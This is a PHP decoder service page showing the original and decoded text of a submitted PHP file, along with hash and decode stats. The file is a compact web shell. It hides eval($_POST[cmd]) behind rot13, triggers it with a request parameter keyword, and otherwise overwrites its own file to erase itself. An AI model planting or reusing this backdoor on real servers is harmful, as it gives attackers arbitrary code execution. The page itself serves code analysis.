Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if($_REQUEST["code"]==pany) { echo str_rot13('riny($_CBFG[pzq]);'..
Decoded Output download
<?php
if($_REQUEST["code"]==pany)
{
echo str_rot13('riny($_CBFG[pzq]);');
eval(str_rot13('riny($_CBFG[pzq]);'));
}
else
{
$url = $_SERVER['PHP_SELF'];
$filename = end(explode('/',$url));
$content = 'helloworld';
$fp = fopen ("$filename","w");
if (fwrite ($fp, $content))
{
fclose ($fp);
die ("error");
}
else
{
fclose ($fp);
die ("good");
}
exit;
}
?>
Did this file decode correctly?
Original Code
<?php
if($_REQUEST["code"]==pany)
{
echo str_rot13('riny($_CBFG[pzq]);');
eval(str_rot13('riny($_CBFG[pzq]);'));
}
else
{
$url = $_SERVER['PHP_SELF'];
$filename = end(explode('/',$url));
$content = 'helloworld';
$fp = fopen ("$filename","w");
if (fwrite ($fp, $content))
{
fclose ($fp);
die ("error");
}
else
{
fclose ($fp);
die ("good");
}
exit;
}
?>
Function Calls
| None |
Stats
| MD5 | 2b720885b26191f889cb4274be66b5cf |
| Eval Count | 0 |
| Decode Time | 130 ms |